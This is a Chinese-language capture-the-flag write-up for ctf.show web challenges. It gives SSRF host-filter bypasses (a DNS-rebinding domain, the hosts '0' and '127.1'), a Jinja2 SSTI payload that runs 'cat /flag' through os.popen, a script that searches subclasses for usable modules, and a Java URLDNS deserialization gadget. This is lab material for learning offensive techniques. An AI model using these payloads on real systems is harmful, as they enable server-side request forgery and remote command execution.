这道题的1和0都被过滤了,我们可以用dns重定向的方法来绕过

网络上存在一个域名sudo.cc会重定向到127.0.0.1

payload:

Text Only
url=http://sudo.cc/flag.php

其他方法

可以用自己的域名进行dns重定向

或者通过 http://ceye.io/

web355

PHP
<?php
error_reporting(0);
highlight_file(__FILE__);
$url=$_POST['url'];
$x=parse_url($url);
if($x['scheme']==='http'||$x['scheme']==='https'){
$host=$x['host'];
if((strlen($host)<=5)){
$ch=curl_init($url);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$result=curl_exec($ch);
curl_close($ch);
echo ($result);
}
else{
    die('hacker');
}
}
else{
    die('hacker');
}
?>

这道题对host的长度进行了限制,但是由于没有进行过滤我们可以用0来代替127.0.0.1

payload:

Text Only
url=http://0/flag.php

or

Text Only
url=http://127.1/flag.php

web356

PHP
<?php
error_reporting(0);
highlight_file(__FILE__);
$url=$_POST['url'];
$x=parse_url($url);
if($x['scheme']==='http'||$x['scheme']==='https'){
$host=$x['host'];
if((strlen($host)<=3)){
$ch=curl_init($url);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$result=curl_exec($ch);
curl_close($ch);
echo ($result);
}
else{
    die('hacker');
}
}
else{
    die('hacker');
}
?>

payload:

Text Only
url=http://0/flag.php

web357

PHP
<?php
error_reporting(0);
highlight_file(__FILE__);
$url=$_POST['url'];
$x=parse_url($url);
if($x['scheme']==='http'||$x['scheme']==='https'){
$ip = gethostbyname($x['host']);
echo '</br>'.$ip.'</br>';
if(!filter_var($ip, FILTER_VALIDATE_IP, FILTER_FLAG_NO_PRIV_RANGE | FILTER_FLAG_NO_RES_RANGE)) {
    die('ip!');
}


echo file_get_contents($_POST['url']);
}
else{
    die('scheme');
}
?>

ssti

通过遍历找模块

Python
from flask import Flask, request
from jinja2 import Template


app = Flask(__name__)

@app.route("/")
def index():
    search = 'os'   #你想利用的模块
    num = -1
    for i in ().__class__.__base__.__subclasses__():
        num += 1
        try:
            if search in i.__init__.__globals__.keys():
                print(i, num)
        except:
            # print("no")
            pass


if __name__ == "__main__":
    app.run()

web361

没有waf,直接打

Text Only
{{g.pop.__globals__.__builtins__['__import__']('os').popen('cat /flag').read()}}

web362

Text Only

Java反序列化:

web846

URLDNS

payload:

Java
import java.io. *;
import java.lang.reflect.Field;
import java.util.*;
import java.net.URL;
import java.util.HashMap;


public class URLDNS {
    public static void serialize(Object obj) throws IOException{
        ByteArrayOutputStream data =new ByteArrayOutputStream();
        ObjectOutput oos =new ObjectOutputStream(data);
        oos.writeObject(obj);
        oos.flush();
        oos.close();
        System.out.println(Base64.getEncoder().encodeToString(data.toByteArray()));
    };
    public static void main(String[] args) throws Exception{
        HashMap<URL,Integer> hashmap = new HashMap<URL,Integer>();
        URL url = new URL("https://78c78067-c876-40fb-b175-edb3b743655d.challenge.ctf.show/");
        Class c = url.getClass();
        Field hashcodefield = c.getDeclaredField("hashCode");
        hashcodefield.setAccessible(true);
//          不想这里发起请求,把url对象的hashcode改成不是-1
        hashcodefield.set(url,911);
        hashmap.put(url,1);
        hashcodefield.set(url,-1);
//          这里把hashcode改回-1

        serialize(hashmap);
    }
}